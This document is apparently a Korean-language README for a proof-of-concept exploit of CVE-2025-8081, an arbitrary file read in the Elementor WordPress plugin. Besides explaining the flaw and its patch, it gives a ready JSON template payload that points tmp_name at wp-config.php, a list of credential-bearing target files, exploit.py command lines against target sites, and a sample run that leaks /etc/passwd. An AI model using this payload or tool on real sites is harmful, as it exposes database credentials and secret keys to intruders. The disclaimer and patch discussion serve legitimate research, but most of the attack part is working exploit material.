
CVE-2025-8081에 대한 개념 증명 익스플로잇으로, Elementor WordPress 플러그인의 임의 파일 읽기 취약점으로 인증된 관리자가 wp-config.php와 같은 민감한 파일을 읽을 수 있습니다.
| 속성 | 값 |
|---|
| CVE ID | CVE-2025-8081 |
| 유형 | 임의 파일 읽기 (CWE-22: 경로 탐색) |
| CVSS 점수 | 4.9 (중간) - 실제 영향: 치명적 |
| CVSS 벡터 | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| 영향받는 버전 | Elementor ≤ 3.30.2 |
| 수정된 버전 | Elementor ≥ 3.30.3 |
| 공개일 | 2025년 7월 22일 |
| 발표일 | 2025년 10월 15일 |
wp-config.php 접근으로 데이터베이스 자격 증명 및 보안 키 노출취약점은 단일 파일의 단일 라인에 존재합니다:
elementor/includes/template-library/classes/class-import-images.php
115번째 줄 (v3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// 직접 업로드된 파일을 가져올 때 호출됩니다.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ 검증 없음!
}
문제: tmp_name 매개변수가 is_uploaded_file()로 검증되지 않아, 공격자가 임의의 파일 경로를 지정할 수 있습니다.
if ( isset( $attachment['tmp_name'] ) ) {
// 직접 업로드된 파일을 가져올 때 호출됩니다.
$filename = $attachment['name'];
$file_content = false;
// tmp_name이 변조된 경우를 대비한 보안 검증
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ 검증 추가됨!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
수정: 패치는 is_uploaded_file() 검증을 추가하여 tmp_name이 합법적인 HTTP POST 업로드 파일을 참조하는지 확인합니다.
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json으로 저장)leaked_config.txt 찾아 다운로드결과: 데이터베이스 자격 증명이 포함된 wp-config.php 내용 노출!
| 파일 | 설명 | 영향 |
|---|---|---|
/var/www/html/wp-config.php | WordPress 설정 | 🔴 치명적 - DB 자격 증명 |
/proc/self/environ | 환경 변수 | 🔴 치명적 - API 키, 비밀값 |
| 파일 | 설명 | 영향 |
|---|---|---|
/etc/passwd | 시스템 사용자 | 🟠 높음 - 사용자 열거 |
/var/www/html/.htaccess | 웹 서버 설정 | 🟠 높음 - 설정 노출 |
/var/log/apache2/access.log | Apache 로그 | 🟡 중간 - 정보 노출 |
python3 exploit.py -t https://target.com -u admin -p password123
필수 인자:
-t, --target URL 대상 WordPress URL (예: https://target.com)
-u, --user USERNAME WordPress 관리자 사용자 이름
-p, --password PASS WordPress 관리자 비밀번호
선택 인자:
-f, --file PATH 읽을 파일 (기본값: /var/www/html/wp-config.php)
-o, --output FILE 출력 파일 이름 (기본값: 자동 생성)
--insecure, -k SSL 인증서 검증 비활성화
-v, --verbose 디버깅을 위한 상세 출력 활성화
-h, --help 도움말 메시지 표시
# 기본 악용 (기본 페이로드로 wp-config.php 읽기)
python3 exploit.py -t http://target.com -u admin -p password123
# 사용자 지정 대상 파일
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# HTTPS 및 자체 서명 인증서 사용
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# 사용자 지정 출력과 상세 모드
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# OrbStack/Docker에서 호스트 머신 대상
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor 임의 파일 읽기
======================================================================
대상: http://host.internal:8080
파일: /etc/passwd
======================================================================
[INFO] WordPress 인증 시도 중...
[SUCCESS] ✓ 인증 성공!
[INFO] AJAX nonce 가져오는 중...
[INFO] 페이로드 로드 중: payload.json
[INFO] 악성 템플릿 업로드 중...
[SUCCESS] ✓ 템플릿 업로드 성공!
[INFO] 유출된 파일 검색 중: leaked_passwd.txt
[SUCCESS] ✓ 파일 발견: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] 파일 다운로드 중...
[SUCCESS] ✓ 839바이트 다운로드 완료
======================================================================
악용 성공!
======================================================================
파일 URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
파일 크기: 839바이트
저장 위치: leaked_passwd.txt
--- 파일 내용 (처음 500자) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- 끝 ---
======================================================================
교육 및 승인된 테스트 전용
이 도구는 보안 연구 및 침투 테스트 목적으로만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다.
모든 관련 지방, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다.
이 도구를 사용함으로써 합법적이고 윤리적으로 사용하는 데 동의하는 것입니다.
마지막 업데이트: 2025년 10월 17일